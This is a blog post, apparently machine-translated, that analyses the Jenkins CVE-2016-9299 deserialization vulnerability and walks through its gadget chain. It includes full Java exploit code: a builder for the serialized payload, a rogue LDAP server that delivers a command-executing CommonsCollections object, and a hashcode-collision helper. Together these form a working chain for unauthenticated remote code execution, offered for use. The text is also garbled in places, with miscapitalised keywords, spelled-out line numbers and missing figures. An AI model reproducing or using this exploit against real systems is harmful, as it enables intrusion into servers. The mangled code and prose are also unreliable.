Published on January 25, 2017
I paid attention to this vulnerability when the official announcement was issued in November last year. At that time, I was looking for the deserialization related to the class com.sun.jndi.ldap.ldapattribute. I realized that the getattributesytaxdefinition() method and getattributedefinition() in this class may have the problem of deserialization, but at that time, I found many classes and found that the sending sequence These two methods can't be triggered during the process of transformation. I thought it was my own problem in the JDK, but I didn't keep up with it at last. In the middle of the process, a foreigner released a PPT to demonstrate the vulnerability. I found that JSON is used to bypass Jenkins's white list was busy with data analysis at that time, and things ran aground. Not long ago, there was a payload on MSF, and there was not so much at the end of the year. So after studying this vulnerability, it is quite interesting. The knowledge involved is still a little wider. We have to admire those who found the vulnerability.
Every time a vulnerability appears, I wonder why I can't find it. When I finish analyzing the vulnerability, I find that the gap in all aspects is really not small.
Technology is about sharing, so that we can progress.
Vulnerability introduction
On November 16, 2016, Jenkins officially issued a safety notice named cve-2016-9299, From the aspect of notification, the vulnerability is still a deserialization vulnerability, but the deserialization of the vulnerability is related to LDAP, and it needs to be connected to a malicious LDAP server after deserialization. Jenkins's repair method for the previous deserialization is to add a blacklist to some malicious classes, so here's the official blacklist of bypass, which is the only way for the vulnerability Multiple information, and only com.sun.jndi.ldap.ldapattribute is mentioned in the official POC. First of all, this vulnerability does not need authentication, and can execute arbitrary code. The harm is obvious.
Vulnerability analysis
From the official description and the following payload, the problem is related to net.sf.json and com.sun.jndi.ldap.ldapattribute. Through the analysis of ldapattribute class, we can determine that the following two methods are the root of triggering deserialization vulnerability (for the knowledge of LDAP's deserialization in the following, please move to the paper of blackhat foreigners in 2016 “us-16-Munoz-A-Journey-From-JNDI-LDAP-Manipulation-To-RCE”)
- getAttributeSyntaxDefinition
- getAttributeDefinition
The dircontext schema = getbasectx(). Getschema (RDN) is called in both methods; in the code fragment, the getbasectx() method is defined as follows:
This code uses JNDI to access the LDAP service. Here, we can control the parameters of context. Provider? URL to control the address of the LDAP server JNDI accesses.
Getschema (RDN) method will eventually call com.sun.jndi.ldap.ldapbindingenumeration.createitem (string, attributes, vector) method (too many calling relationships, debug by yourself). The definition of this method is as follows
In this method, obj. Decodeobject (attrs) method will be called finally to realize the object deserialization. In this case, several methods of object serialization and deserialization are defined in com.sun.jndi.ldap.obj object, including direct deserialization and remote loading. The difference between deserialization here and other places is that we can't load objects remotely, because the default of com.sun.jndi.ldap.versionhelper12.trusturlcodebase The value is false, which directly determines that the classloader can only load the classes under the current classpath. For how to construct objects so that LDAP can execute arbitrary code in deserialization, see the following.
Now we know that the relevant methods in com.sun.jndi.ldap.ldapattribute can trigger the vulnerability of deserialization, so what we need to do now is to find a class that can call the function that triggers the vulnerability when deserializing, that is, the class that can call the getattributesytaxdefinition method or getattributedefinition method when deserializing, through the old After a little analysis of PPT and open gadgets, we will find that there is a place in the class library net.sf.json where any getxxx function of the class can be called. Then can the getxxx method in the class com.sun.jndi.ldap.ldapattribute also be called in this way. First, we determine which method in the class can call the getxxx function through GAD In the JSON payload of gets, we find that the getxxx function that can finally call the object is shown in the figure below (net.sf.json.jsonobject.defaultbean processing (object, jsonconfig))
The two places circled in the figure above are the places where the getxxx function can be called. Here, all the properties of the JavaBean will be traversed first and then called one by one.
Find out the source of function call. The next step is to find out how the function will trigger. Through eclipse, we can easily find the following ways of calling.
As shown in the figure above, we can see that the defaultbeanprocessing method will eventually be called by the equals method in the concurrentskiplistset class. Many people may ask here why you find the equals method of this class because there are too many things related to the equals method, and there may be some experience in it Data structure, such as set, will judge whether the current key exists every time when adding elements, and will call hashcode and equals methods when comparing whether two objects are equal. If you know about other deserialization students, you may have some feelings about this, such as the triggering process of deserialization in JDK. If there is no such experience, then you can only find one by one.
In the end, we found a method that can be called by a class, but you may find that in eclipse, such a function call relationship is mostly method calls in the case of polymorphism, so we also need to analyze the method calls in the equals method. Here we need to note that the direct call object of the defaultbeanprocessing function is net . SF. JSON. Jsonarray. Fromobject (object, jsonconfig) method. Let's look at equals method
There are two calls to the containsall method in this method. Let's see which may call fromobject. Let's look at the call relationship of fromobject, as shown in the following figure
You will find that jsonarray calls the containsall method,
One
containsAll(c) && c.containsAll(this);
The first containsall method here can't trigger the function, so we just need to satisfy that the object o is jsonarray, but in fact, it can't. because the object o is not a subclass of set, the path basically won't work, so we have to continue to find it.
Go back to the place of c.containsall and find out which functions finally call containsall. Here we find that org.apache.commons.collections.collection.abstractcollectiondecorator.containsall (Collection) is an abstract class call. Let's see the definition of the function
One
Two
Three
Four
Five
protected Collection collection;
...
public boolean containsAll(Collection coll) {
return collection.containsAll(coll);
}
The collection.containsAll method will eventually be called here. If we assign the collection to the JSONArray object, the vulnerability will not be triggered. Since the AbstractCollectionDecorator class is abstract and cannot be instantiated, we need to find a subclass of it. Note that we must satisfy that the subclass implements the Set interface and can be serialized Finally, we found the class org.apache.commons.collections.set.listorderedset. All we need to do is to satisfy that the collection of the parent class is jsonarray.
Here we know that we only need to assign the object o in the equals method to an instance of org.apache.commons.collections.set.listorderedset.
Next, we will look for the call relationship of equals. Using eclipse directly, we can find the org.apache.commons.collections.map.flat3map.put (object, object) class (we will follow the detailed process). One more important thing about this class is that
This class just triggers the put function when deserializing, and finally triggers our carefully constructed object.
A feature of this flat3map is that when the element of the map is less than or equal to 3, the class member variable will be used to store the data, and the equals method must be called here.
The tragedy is that here we need to construct two objects, which we just discussed. One is the listorderedset and the other is the concurrentskiplistset object. But here we need to satisfy that the hashcode of the key value of these two objects must be the same. The hashcode here is either all 0, which is the best. That is to say, the key is an empty string. But the payload we want to construct must have a jsonarray object. The default hashcode of this object is 29, which can't be equal no matter how. But here we can use hashcode collision to solve the problem of the same hashcode value.
Here, we have wasted a lot of time to explain how to trigger the key vulnerability. The next step is to construct POC. The specific details here are relatively simple and not described too much.
Payload-LDAP-JNDI
Here is the payload that generates LDAP serialization. If anyone has any questions, they can communicate by email.
One
Two
Three
Four
Five
Six
Seven
Eight
Nine
Ten
Eleven
Twelve
Thirteen
Fourteen
Fifteen
Sixteen
Seventeen
Eighteen
Nineteen
Twenty
Twenty-one
Twenty-two
Twenty-three
Twenty-four
Twenty-five
Twenty-six
Twenty-seven
Twenty-eight
Twenty-nine
@author iswin
public static void main(String[] args) throws InstantiationException, IllegalAccessException,
IllegalArgumentException, InvocationTargetException, Exception {
Object o = Reflections.getFirstCtor("com.sun.jndi.ldap.LdapAttribute").newInstance("iswin");
Reflections.setFieldValue(o, "baseCtxURL", "ldap://127.0.0.1:38900");
ConcurrentSkipListSet sets = new ConcurrentSkipListSet(new NullComparator());
Sets.add (o);
ListOrderedSet set = new ListOrderedSet();
JSONArray array = new JSONArray();
array.add("\u0915\u0009\u001e\u000c\u0002\u0915\u0009\u001e\u000b\u0004");
Reflections.setSuperFieldValue(set, set.getClass().getSuperclass().getSuperclass().getSuperclass(),
"collection", array);
Flat3Map map = new Flat3Map();
map.put(set, true);
map.put(sets, true);
Reflections.setSuperFieldValue(o, o.getClass().getSuperclass(), "attrID", "");
byte[] bt = Serializer.serialize(map);
Deserializer.deserialize(bt);
}
Payload-LDAP-SERVER
At first, I thought that it was mainly possible to generate a serialized payload and then find an LDAP server to get a serialized object and throw it on it, but the fact seems not so simple. I simulated it with apacheds for a long time, but I can't. later, I looked at the obj.decodeobject (attrs) method mentioned above, and found that the information that must be returned by the LDAP server must contain some attributes For example, javaserializeddata, but every time you ask for it, you can't get the result. Later, I went to look at the payload on MSF, and I got a little bit of it. Later, I didn't bother to get it, so I learned the RFC document of LDAP protocol, and I was familiar with ASN1 markup language (for those who are patient, please take a closer look). The specific explanation is as follows
Directly rewrite the ASN1 part of the simulated server on MSF with Java. The overall code is as follows:
One
Two
Three
Four
Five
Six
Seven
Eight
Nine
Ten
Eleven
Twelve
Thirteen
Fourteen
Fifteen
Sixteen
Seventeen
Eighteen
Nineteen
Twenty
Twenty-one
Twenty-two
Twenty-three
Twenty-four
Twenty-five
Twenty-six
Twenty-seven
Twenty-eight
Twenty-nine
Thirty
Thirty-one
Thirty-two
Thirty-three
Thirty-four
Thirty-five
Thirty-six
Thirty-seven
Thirty-eight
Thirty-nine
Forty
Forty-one
Forty-two
Forty-three
Forty-four
Forty-five
Forty-six
Forty-seven
Forty-eight
Forty-nine
Fifty
Fifty-one
Fifty-two
Fifty-three
Fifty-four
Fifty-five
Fifty-six
Fifty-seven
Fifty-eight
Fifty-nine
Sixty
Sixty-one
Sixty-two
Sixty-three
Sixty-four
Sixty-five
Sixty-six
Sixty-seven
Sixty-eight
Sixty-nine
Seventy
Seventy-one
Seventy-two
Seventy-three
Seventy-four
Seventy-five
Seventy-six
Seventy-seven
Seventy-eight
Seventy-nine
Eighty
Eighty-one
Eighty-two
Eighty-three
Eighty-four
Eighty-five
Eighty-six
Eighty-seven
Eighty-eight
Eighty-nine
Ninety
Ninety-one
Ninety-two
Ninety-three
Ninety-four
Ninety-five
Ninety-six
Ninety-seven
Ninety-eight
Ninety-nine
One hundred
One hundred and one
One hundred and two
One hundred and three
One hundred and four
One hundred and five
One hundred and six
One hundred and seven
One hundred and eight
One hundred and nine
One hundred and ten
One hundred and eleven
One hundred and twelve
One hundred and thirteen
One hundred and fourteen
One hundred and fifteen
One hundred and sixteen
One hundred and seventeen
One hundred and eighteen
One hundred and nineteen
One hundred and twenty
One hundred and twenty-one
@author iswin
public class LdapServer {
public static byte[] hexStringToByteArray(String s) {
int len = s.length();
byte[] data = new byte[len / 2];
for (int i = 0; i < len; i += 2) {
data[i / 2] = (byte) ((Character.digit(s.charAt(i), 16) << 4) + Character.digit(s.charAt(i + 1), 16));
}
Return data;
}
public static String bytesToHex(byte[] bytes) {
char[] hexArray = "0123456789ABCDEF".toCharArray();
char[] hexChars = new char[bytes.length * 2];
for (int j = 0; j < bytes.length; j++) {
int v = bytes[j] & 0xFF;
hexChars[j * 2] = hexArray[v >>> 4];
hexChars[j * 2 + 1] = hexArray[v & 0x0F];
}
return new String(hexChars);
}
public static byte[] make_stage_reply() throws Exception {
Object payload = CommonsCollections1.class.newInstance().getObject("open /Applications/Calculator.app");
ByteArrayOutputStream objpayload = new ByteArrayOutputStream();
ObjectOutputStream oo = new ObjectOutputStream(objpayload);
oo.writeObject(payload);
Sequence sq = new Sequence();
sq.addElement(new OctetString("javaClassName".getBytes()));
Set s0 = new Set();
s0.addElement(new OctetString("WTF".getBytes()));
sq.addElement(s0);
Sequence sq1 = new Sequence();
sq1.addElement(new OctetString("javaSerializedData".getBytes()));
Set s = new Set();
s.addElement(new OctetString(objpayload.toByteArray()));
sq1.addElement(s);
Sequence sq2 = new Sequence();
sq2.addElement(sq);
sq2.addElement(sq1);
Sequence sq3 = new Sequence();
sq3.addElement(new OctetString("cn=wtf, dc=example, dc=com".getBytes()));
sq3.addElement(sq2);
sq3.setTagClass(Tag.APPLICATION);
sq3.setTagNumber(4);
Sequence sqall = new Sequence();
sqall.addElement(new ASN1Integer(3L));
sqall.addElement(sq3);
ByteArrayOutputStream opt = new ByteArrayOutputStream();
sqall.encode(new BerOutputStream(opt, BerOutputStream.ENCODING_DER));
return opt.toByteArray();
}
public static void read_ldap_packet(Socket socket) {
Try {
InputStream sin = socket.getInputStream();
byte[] sinb = new byte[2];
sin.read(sinb);
if (sinb[0] != '0') {
Return;
}
int length = (char) (sinb[1] & 0xFF);
if ((length & (1 << 7)) != 0) {
int length_bytes_length = length ^ (1 << 7);
byte[] length_bytes = new byte[length_bytes_length];
sin.read(length_bytes);
Int sum = 0;
for (int i = 0; i < length_bytes.length; i++) {
sum += (length_bytes[i] & 0xFF);
}
length = sum;
}
byte[] tmp = new byte[length];
sin.read(tmp);
} catch (IOException e) {
e.printStackTrace();
}
}
public static void socketServer() throws Exception {
Try {
ServerSocket server = new ServerSocket(38900);
Socket ss = server.accept();
OutputStream out = new BerOutputStream(ss.getOutputStream());
read_ldap_packet(ss);
out.write(hexStringToByteArray("300c02010161070a010004000400"));
Out.flush ();
read_ldap_packet(ss);
out.write(hexStringToByteArray(
"3034020102642f04066f753d777466302530230411737562736368656d61537562656e747279310e040c636e3d737562736368656d61"));
out.write(hexStringToByteArray("300c02010265070a010004000400"));
Out.flush ();
read_ldap_packet(ss);
out.write(make_stage_reply());
out.write(hexStringToByteArray("300c02010365070a010004000400"));
Out.flush ();
Out.close ();
Ss.close ();
server.close();
} catch (IOException e) {
e.printStackTrace();
}
}
public static void main(String[] args) throws Exception {
socketServer();
}
}
Finally, I will briefly talk about the payload construction problem of obj. Decodeobject (attrs). Some students will surely say that JNDI can not directly load classes remotely and instantiate them. Then I will come to the door and say that the JNDI method for LDAP does not work. Let's see how the obj class is handled
Here we can see that there are many different ways to parse objects defined here, classloader CL = helper.geturlclassloader (codebases); this classloader loads related classes from the URL of codebase, but I'll take a look at the specific methods
So by default, the classes defined in codebase can't be loaded. Once this happens, we can only construct POC of relevant deserialization vulnerability, so that the class can trigger the vulnerability again when Jenkins deserializes, but in this case, payload is likely to fail.
On the collision of hashcode
I don't know whether it's right or not. Let's call it that way. Foreigners have studied this problem for a long time. I can throw the code directly and collide with any value of hashcode. We should pay attention to the copyright when using it.
One
Two
Three
Four
Five
Six
Seven
Eight
Nine
Ten
Eleven
Twelve
Thirteen
Fourteen
Fifteen
Sixteen
Seventeen
Eighteen
Nineteen
Twenty
Twenty-one
Twenty-two
Twenty-three
Twenty-four
Twenty-five
Twenty-six
Twenty-seven
Twenty-eight
Twenty-nine
Thirty
Thirty-one
Thirty-two
Thirty-three
Thirty-four
Thirty-five
Thirty-six
Thirty-seven
Thirty-eight
Thirty-nine
Forty
Forty-one
Forty-two
Forty-three
Forty-four
Forty-five
Forty-six
Forty-seven
Forty-eight
Forty-nine
Fifty
Fifty-one
Fifty-two
Fifty-three
Fifty-four
Fifty-five
Fifty-six
Fifty-seven
Fifty-eight
Fifty-nine
Sixty
Sixty-one
Sixty-two
Sixty-three
Sixty-four
Sixty-five
Sixty-six
Sixty-seven
Sixty-eight
Sixty-nine
Seventy
Seventy-one
Seventy-two
Seventy-three
Seventy-four
Seventy-five
Seventy-six
Seventy-seven
Seventy-eight
Seventy-nine
Eighty
Eighty-one
Eighty-two
Eighty-three
Eighty-four
Eighty-five
Eighty-six
Eighty-seven
package iswin;
public class HashCollision {
public static String convert(String str) {
str = (str == null ? "" : str);
String TMP;
StringBuffer sb = new StringBuffer(1000);
Char c;
Int i, J;
sb.setLength(0);
for (i = 0; i < str.length(); i++) {
c = str.charAt(i);
sb.append("\\u");
j = (c >>> 8);
tmp = Integer.toHexString(j);
if (tmp.length() == 1)
sb.append("0");
sb.append(tmp);
j = (c & 0xFF);
tmp = Integer.toHexString(j);
if (tmp.length() == 1)
sb.append("0");
sb.append(tmp);
}
return (new String(sb));
}
public static String string2Unicode(String string) {
StringBuffer unicode = new StringBuffer();
for (int i = 0; i < string.length(); i++) {
char c = string.charAt(i);
unicode.append("\\u" + Integer.toHexString(c));
}
return unicode.toString();
}
* Returns a string with a hash equal to the argument.
*
* @return string with a hash equal to the argument.
* @author - Joseph Darcy
* /
public static String unhash(int target) {
StringBuilder answer = new StringBuilder();
if (target < 0) {
answer.append("\u0915\u0009\u001e\u000c\u0002");
if (target == Integer.MIN_VALUE)
return answer.toString();
target = target & Integer.MAX_VALUE;
}
unhash0(answer, target);
return answer.toString();
}
*
* @author - Joseph Darcy
* /
private static void unhash0(StringBuilder partial, int target) {
int div = target / 31;
int rem = target % 31;
if (div <= Character.MAX_VALUE) {
if (div != 0)
partial.append((char) div);
partial.append((char) rem);
} else {
unhash0(partial, div);
partial.append((char) rem);
}
}
public static void main(String[] args) {
System.out.println(convert(unhash(877174790)));
System.out.println("\u0915\u0009\u001e\u000c\u0002\u5569\u001b\u0006\u001b".hashCode());
}
}
Make up a screenshot of successful utilization
summary
As long as the direction is right, roll up the sleeves and work hard!
Reference resources
[1] https://github.com/rapid7/metasploit-framework/pull/7815
Note: please keep the copyright for reprint.